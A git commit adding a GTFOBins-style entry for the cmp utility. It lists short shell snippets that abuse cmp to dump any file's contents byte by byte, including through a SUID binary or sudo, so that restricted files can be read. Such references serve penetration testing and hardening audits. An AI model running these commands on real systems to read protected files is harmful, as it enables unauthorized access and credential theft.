Create cmp.md

This commit is contained in:
LinuxSploit 2021-07-13 10:33:49 +05:00 committed by Andrea Cardaci
parent d6accb1ca3
commit a9313397a0

21
_gtfobins/cmp.md Normal file
View File

@ -0,0 +1,21 @@
---
functions:
file-read:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'A%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
suid:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
cmp $LFILE $TEMP -b -n 999 -l
sudo:
- code: |
LFILE=file-to-read
TEMP=$(mktemp)
printf 'a%.0s' {1..999} > $TEMP
sudo cmp $LFILE $TEMP -b -n 999 -l
---